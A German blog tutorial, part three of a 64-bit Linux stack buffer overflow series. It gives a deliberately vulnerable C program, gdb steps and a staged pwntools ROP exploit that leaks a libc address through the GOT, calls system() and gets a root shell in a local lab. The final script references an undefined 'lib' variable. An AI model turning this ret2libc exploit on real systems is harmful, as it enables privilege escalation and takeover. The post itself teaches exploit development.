{{tag>deutsch Linux kali it-security blog pentest}} ====== Buffer Overflow im 64-Bit Stack - Teil 3 ====== {{:it-security:blog:bof-part3-header.jpg?400|}} In [[it-security:blog:buffer_overflow_x64-2|Teil 2]] haben wir den String ''/bin/zsh'' an die Funktion ''System()'' gesendet, um eine root Shell zu öffen. Hierzu mussten wir aber ASLR deaktivieren- ASLR verändert Funktionsadressen bei jedem Programmneustart. Superkojiman beschreibt [[https://blog.techorganic.com|in seinem Blog]] ausführlich, wie man diesen Schutz dennoch umgehen kann. Hierzu müssen wir uns aber erstmal ein paar Dinge veranschaulichen \\ \\ ===== Einleitung ===== {{page>vorlagen:64_bit_stack_nav}} ==== Theorie ==== In Linux Systemen verwendet man üblicherweise dynamische Programmbibliotheken. Dies hat den Vorteil, dass wir nicht jede Funktion in jedem Programm neuschreiben müssen, sondern einfach auf die Funktion des Systems zugreifen können, welche z.B. in ''libc'' liegt. Ist ASLR nun aktiviert, werden die Adressen bei jedem Programmstart verändert. === PLT und GOT === PLT (Procedure Linkage Table) und GOT (Global Offset Table) übernehmen hierbei das Zusammenspiel beim dynamischen Linking. Die Funktion ''write()'' zeigt beim Aufruf nicht auf die eigentliche Funktion, sondern auf ''write@plt''. Von der PLT wird dann der GOT Eintrag für die Funktion angefordert. In der GOT liegen nun alle ''libc'' Adressen und PLT leitet die Ausführung an diese um. Ist die Adresse noch nicht vorhanden, sucht ''ld.so'' nach dieser und speichert sie in der GOT. Dieses Prinzip können wir uns nun zu Nutze machen.((https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)) === Leak and Overwrite === Um an unsere root Shell zu kommen, müssen wir nun folgendes machen: - Wir leaken den GOT Eintrag für die Funktion ''write()'' - Wir brauchen die Basis-Adresse für ''libc'', um die Adressen anderer Funktionen berechnen zu können. Die ''libc''-Basis-Adresse ist die Differenz zwischen der Adresse von ''memset()'' und dem ''write()''-Offset aus ''libc.so.6'' - Die Adresse einer Library-Funktion erhalten wir, indem wir den jeweiligen ''libc.so.6''Offset mit der ''libc''-Basis-Adresse addieren - In der GOT überschreiben wir eine Adresse mit der von ''system()'', so dass wir beim Aufruf der Funktion einen Systembefehl absetzen können [-------------------------------------code-------------------------------------] 0x4011de : lea rax,[rbp-0xa0] 0x4011e5 : mov rsi,rax 0x4011e8 : mov edi,0x1 => 0x4011ed : call 0x401030 0x4011f2 : mov eax,0x0 0x4011f7 : leave \\ \\ ===== Abhängigkeiten ===== * socat mod [[gh>andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat]] * pwntools ((https://docs.pwntools.com/en/stable/install.html)) python3 -m pip install --upgrade pip python3 -m pip install --upgrade pwntools \\ \\ ==== C Programm ==== Der Quellcode und die kompilierte Binary sind auch auf [[gh>psycore8/nosoc-bof/tree/main/part-3|Github]] verfügbar. /* Code https://blog.techorganic.com/2016/03/18/64-bit-linux-stack-smashing-tutorial-part-3/ */ /* Compile: gcc -fno-stack-protector -no-pie bof-part3.c -o bof-part3 */ /* Enable ASLR: echo 2 > /proc/sys/kernel/randomize_va_space */ #include #include #include void helper() { asm("pop %rdi; pop %rsi; pop %rdx; ret"); } int vuln() { char buf[150]; ssize_t b; memset(buf, 0, 150); printf("Enter input: "); b = read(0, buf, 400); printf("Recv: "); write(1, buf, b); return 0; } int main(int argc, char *argv[]){ setbuf(stdout, 0); vuln(); return 0; } \\ \\ ===== Debug ===== {{page>vorlagen:attention}} ==== socat Listener starten ==== Das mitgelieferte socat besitzt Mechanismen zum Schutz des Speichers. Im Abschnitt Abhängigkeiten gibt es eine modifizierte Version auf Github. /dir/to/socat TCP-LISTEN:2323,reuseaddr,fork EXEC:./bof-part3 \\ \\ ==== GOT Adresse von write ==== Wir prüfen, wo der Pfad zur ''libc'' ist: ldd bof-part3 linux-vdso.so.1 (0x00007ffe5d956000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f53c7dd7000) /lib64/ld-linux-x86-64.so.2 (0x00007f53c7fd2000) Anschließend finden wir das Offset für ''write()'' heraus: readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep write 2839: 00000000000f7af0 157 FUNC WEAK DEFAULT 16 write@@GLIBC_2.2.5 \\ \\ ==== Breakpoint für write ==== Wir müssen nun heraus finden, an welcher Stelle ''write()'' aufgerufen wird. 0x4011e8 : mov edi,0x1 => 0x4011ed : call 0x401030 0x4011f2 : mov eax,0x0 Der Aufruf geschieht bei ''0x4011ed'' und wir setzen hier unseren Haltepunkt. echo "br *0x4011ed" >> ~/.gdbinit \\ \\ ==== gdb an socat anhängen ==== gdb -q -p `pidof socat` Breakpoint 1 at 0x4011ed Attaching to process 111187 \\ \\ ==== Verbindung mit Port 2323 ==== Wir verbinden uns mit nc und triggern den Haltepunkt. nc localhost 2323 Enter input: 123 Recv: 123 \\ \\ ==== Suche nach write GOT ==== Ist unser Haltepunkt erreicht, suchen wir nach der ''write'' GOT Adresse gdb-peda$ x/gx 0x404000 0x404000 : 0x0000000000401036 gdb-peda$ x/5i 0x0000000000401036 0x401036 : push 0x0 0x40103b : jmp 0x401020 0x401040 : jmp QWORD PTR [rip+0x2fc2] # 0x404008 0x401046 : push 0x1 0x40104b : jmp 0x401020 Wir gehen einen Schritt weiter, ohne in die Funktion reinzuspringen. Anschließend suchen wir erneut. next gdb-peda$ x/gx 0x404000 0x404000 : 0x00007f559dd76af0 gdb-peda$ x/5i 0x00007f559dd76af0 0x7f559dd76af0 <__GI___libc_write>: cmp BYTE PTR [rip+0xe3ae1],0x0 # 0x7f559de5a5d8 <__libc_single_threaded> 0x7f559dd76af7 <__GI___libc_write+7>: je 0x7f559dd76b10 <__GI___libc_write+32> 0x7f559dd76af9 <__GI___libc_write+9>: mov eax,0x1 0x7f559dd76afe <__GI___libc_write+14>: syscall 0x7f559dd76b00 <__GI___libc_write+16>: cmp rax,0xfffffffffffff000 An diesem Punkt zeigt die Adresse auf ''write()'' \\ \\ ===== Exploit ===== ==== Stage 1: write Adresse ==== Also schreiben wir uns ein erstes Exploit, um ''write()'' zu leaken. #!/usr/bin/env python from pwn import * pop3ret = 0x40116a # Unser pop rdi; pop rsi; pop rdx; ret; gadget bin=ELF("./bof-part3") s=remote("127.0.0.1",2323) s.recvuntil(b": ") buf = b"A"*168 # RIP Offset buf += p64(pop3ret) # POP Argumente buf += p64(constants.STDOUT_FILENO) # stdout buf += p64(bin.got[b'write']) # lese von write@got buf += p64(0x8) # schreibe 8 bytes in stdout buf += p64(bin.plt[b'write']) # Rückkehr nach write@plt buf += b'EOPAY' # Ende des Payloads print("[+] send payload") s.send(buf) # buf überschreibt RIP s.recvuntil(b'EOPAY') # Empfange Daten bis EOPAY print("[+] recvd \'EOPAY\'") got_leak=u64(s.recv(8)) print("[+] leaked write address: {}".format(hex(got_leak))) Wir führen das Ganze aus und erhalten folgende Ausgabe [+] Opening connection to 127.0.0.1 on port 2323: Done [+] send payload [+] recvd 'EOPAY' [+] leaked write address: 0x7f6805548e80 [*] Closed connection to 127.0.0.1 port 2323 Damit wäre die erste Adresse geleakt. ==== Stage 2 - libc Base und system ==== Nun benötigen wir die libc-Basis Adresse und die von ''system()''. Diese berechnen wir so: * $base(libc) = got(write) - offset(write)$ * $address(system) = base(libc) + offset(system)$ Die Offset Adresse erhalten wir so: ┌──(kali㉿kali)-[~/repo] └─$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system 1022: 000000000004c920 45 FUNC WEAK DEFAULT 16 system@@GLIBC_2.2.5 Wir überarbeiten also unser Exploit: #!/usr/bin/env python from pwn import * pop3ret = 0x40116a # Unser pop rdi; pop rsi; pop rdx; ret; gadget gadget write_off = 0x0f7af0 system_off = 0x04c920 bin=ELF("./bof-part3") s=remote("127.0.0.1",2323) s.recvuntil(b": ") buf = b"A"*168 # RIP offset buf += p64(pop3ret) # POP Argumente buf += p64(constants.STDOUT_FILENO) # stdout buf += p64(bin.got[b'write']) # lese von write@got buf += p64(0x8) # schreibe 8 bytes in stdout buf += p64(bin.plt[b'write']) # Rückkehr nach write@plt buf += b'EOPAY' # Ende des Payloads print("[+] send payload") s.send(buf) s.recvuntil(b'EOPAY') print("[+] recvd \'EOPAY\'") got_leak=u64(s.recv(8)) print("[+] leaked write address: {}".format(hex(got_leak))) libc_base = got_leak - write_off # Berechne libc Basis print("[+] libc base is at", hex(libc_base) ) system_addr = libc_base + system_off # Berechne system Adresse print("[+] system() is at", hex(system_addr) ) Und nun schauen wir uns die Ausgabe an: [+] Opening connection to 127.0.0.1 on port 2323: Done [+] send payload [+] recvd 'EOPAY' [+] leaked write address: 0x7f73dc1c7e80 [+] libc base is at 0x7f73dc12c340 [+] system() is at 0x7f73dc178c60 [*] Closed connection to 127.0.0.1 port 2323 \\ \\ ==== Stage 3 - Adresse überschreiben und Code ausführen ==== Für den letzten Abschnitt benötigen wir einen beschreibbaren Speicherbereich. Hierzu listen wir uns die Speicherzuweisungen in gdb auf. gdb-peda$ info proc mappings process 105836 Mapped address spaces: Start Addr End Addr Size Offset Perms objfile 0x400000 0x401000 0x1000 0x0 r--p /home/kali/repo/bof-part3 0x401000 0x402000 0x1000 0x1000 r-xp /home/kali/repo/bof-part3 0x402000 0x403000 0x1000 0x2000 r--p /home/kali/repo/bof-part3 0x403000 0x404000 0x1000 0x2000 r--p /home/kali/repo/bof-part3 0x404000 0x405000 0x1000 0x3000 rw-p /home/kali/repo/bof-part3 0x7f0f6fb35000 0x7f0f6fb38000 0x3000 0x0 rw-p Der Bereich 0x404000 - 0x405000 ist beschreibbar und statisch. Das sehen wir uns genauer an. gdb-peda$ x/30i 0x404000 ... 0x404027 : add BYTE PTR [rax],al 0x404029: add BYTE PTR [rax],al 0x40402b: add BYTE PTR [rax],al ... 0x404029 sollte für unseren Zweck perfekt sein. #!/usr/bin/env python from pwn import * pop3ret = 0x40116a # Unser pop rdi; pop rsi; pop rdx; ret; gadget write_off = 0x0f7af0 system_off = 0x04c920 writable = 0x404029 bin=ELF("./bof-part3") s=remote("127.0.0.1",2323) s.recvuntil(b": ") buf = b"A"*168 # padding to RIP's offset buf += p64(pop3ret) # POP Argumente buf += p64(constants.STDOUT_FILENO) # stdout buf += p64(bin.got[b'write']) # lese von write@got buf += p64(0x8) # schreibe 8 bytes in stdout buf += p64(bin.plt[b'write']) # Rückkehr nach write@plt # Teil 2: schreibe system Adresse in write got mittels read buf+=p64(pop3ret) buf+=p64(constants.STDIN_FILENO) buf+=p64(bin.got[b'write']) #write@got buf+=p64(0x8) buf+=p64(bin.plt[b'read']) #read@plt # Teil 3: schreibe /bin/sh in beschreibbare Adresse buf+=p64(pop3ret) buf+=p64(constants.STDIN_FILENO) buf+=p64(writable) buf+=p64(0x8) buf+=p64(bin.plt[b'read']) # Teil 4: rufe system auf buf+=p64(pop3ret) buf+=p64(writable) buf+=p64(0xdeadbeef) buf+=p64(0xcafebabe) buf+=p64(bin.plt[b'write']) buf += b'EOPAY' print("[+] send payload") s.send(buf) # buf überschreibt RIP s.recvuntil(b'EOPAY') print("[+] recvd \'EOPAY\'") got_leak=u64(s.recv(8)) print("[+] leaked write address: {}".format(hex(got_leak))) #s2 libc_base=got_leak-write_off print(hex(lib.symbols[b'write'])) print("[+] libc base is at {}".format(hex(libc_base))) system_addr=libc_base+system_off print(hex(lib.symbols[b'system'])) print("[+] system() is at {}".format(hex(system_addr))) #part 2 print("[+] sending system() address") s.send(p64(system_addr)) #part 3 print("[+] sending /bin/zsh") s.send(b'/bin/zsh') #part 4 print("[+] trying shell") s.interactive() \\ \\ ==== Optimierungen ==== Das Exploit mit weiteren pwntools Optimierungen und automatisiertem socat Start ist im [[gh>psycore8/nosoc-bof/tree/main/part-3|Github Repository]] zu finden. Das Exploit wurde ursprünglich von [[https://stackoverflow.com/users/8786498/zapho-oxx|Zopho Oxx]] geschrieben ((https://stackoverflow.com/a/48571747)) \\ \\ ==== root Shell ==== Wir starten socat und bof-part3 als root su root ┌──(root㉿kali)-[/home/kali/repo] └─# /home/kali/repo/socat TCP-LISTEN:2323,reuseaddr,fork EXEC:./bof-part3 und anschließend das Exploit als unpriviligierter Nutzer ┌──(kali㉿kali)-[~/repo] └─$ python3 buffer3.py Wir erhalten unsere Root Shell und haben die Kontrolle über das System. {{:it-security:blog:bof-dism3-1.png?500|}} \\ \\ ===== Repository ===== ^ Projektdateien | {{ :it-security:nosoc-repo-bof-part3.zip |}} | ^ Größe | 9,93 KB | ^ Prüfsumme (SHA256) | d1212026504c7a90680e3f1e430244734695971c73f1461bed12605644c707d8 | ===== Referenzen ===== * [[https://blog.techorganic.com/2016/03/18/64-bit-linux-stack-smashing-tutorial-part-3/]] ~~DISCUSSION~~